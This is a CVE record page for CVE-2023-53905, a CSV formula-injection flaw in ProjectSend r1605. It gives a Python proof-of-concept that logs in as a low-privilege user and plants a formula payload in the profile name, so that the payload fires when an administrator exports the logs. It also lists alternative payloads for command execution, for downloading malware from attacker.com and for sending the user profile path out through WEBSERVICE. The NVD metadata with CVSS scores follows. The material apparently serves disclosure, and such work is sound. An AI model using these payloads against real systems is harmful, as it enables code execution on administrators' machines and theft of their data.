CVE-2023-53905

# PoC for CVE-2023-53905 - ProjectSend CSV Injection # Attack Vector: Inject malicious formula into user profile name # When admin exports logs as CSV, the formula gets executed # Step 1: Create malicious payload payload = '=calc|a!z|' # This triggers calculator on Windows # Alternative payloads: payload2 = '=HYPERLINK("http://attacker.com/malware.exe")' # Download malware payload3 = '=cmd|\'/c calc\'|\'!A1\'' # Direct command execution payload4 = '=WEBSERVICE("http://attacker.com/?"&USERPROFILE)' # Data exfiltration # Step 2: Register new user with malicious name via API or web interface # POST /includes/actions.php (or similar endpoint) import requests target_url = "http://target-projectsend.com" login_url = f"{target_url}/login.php" profile_url = f"{target_url}/users-profile.php" session = requests.Session() # Login with low-privilege account login_data = { 'username': 'attacker_user', 'password': 'attacker_password', 'submit': 'Log In' } session.post(login_url, data=login_data) # Step 3: Update user profile with malicious name profile_data = { 'name': '=calc|a!z|', # Malicious CSV injection payload 'email': '[email protected]', 'submit': 'Update Profile' } session.post(profile_url, data=profile_data) # Step 4: Wait for admin to export logs as CSV # When admin opens the exported CSV file, code execution occurs print("[+] Payload injected successfully") print("[+] Wait for admin to export CSV and open file")

{"cve": {"id": "CVE-2023-53905", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:48.570", "lastModified": "2025-12-27T17:15:42.423", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "ProjectSend r1605 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into user profile names. Attackers can craft payloads like =calc|a!z| in the name field to trigger code execution when administrators export action logs as CSV files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:projectsend:projectsend:r1605:*:*:*:*:*:*:*", "matchCriteriaId": "1ECB1397-1B02-4C9C-90B4-8D1D22CC9BB9"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51517", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.projectsend.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/projectsend-csv-injection-via-user-account-export-functionality", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51517", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}